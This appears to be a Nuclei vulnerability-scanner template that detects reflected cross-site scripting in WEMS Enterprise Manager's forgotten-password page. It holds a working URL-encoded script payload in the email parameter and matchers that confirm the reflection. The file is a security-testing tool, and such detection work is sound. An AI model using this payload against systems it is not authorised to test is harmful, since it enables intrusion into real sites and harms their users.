29 lines
759 B
YAML
29 lines
759 B
YAML
id: wems-manager-xss
|
|
|
|
info:
|
|
name: WEMS Enterprise Manager XSS
|
|
author: pikpikcu
|
|
severity: medium
|
|
tags: xss
|
|
|
|
# Source
|
|
# https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
|
|
# https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/wems-enterprise-xss.yaml
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- type: word
|
|
words:
|
|
- '"><script>confirm(document.domain)</script>'
|
|
part: body
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header |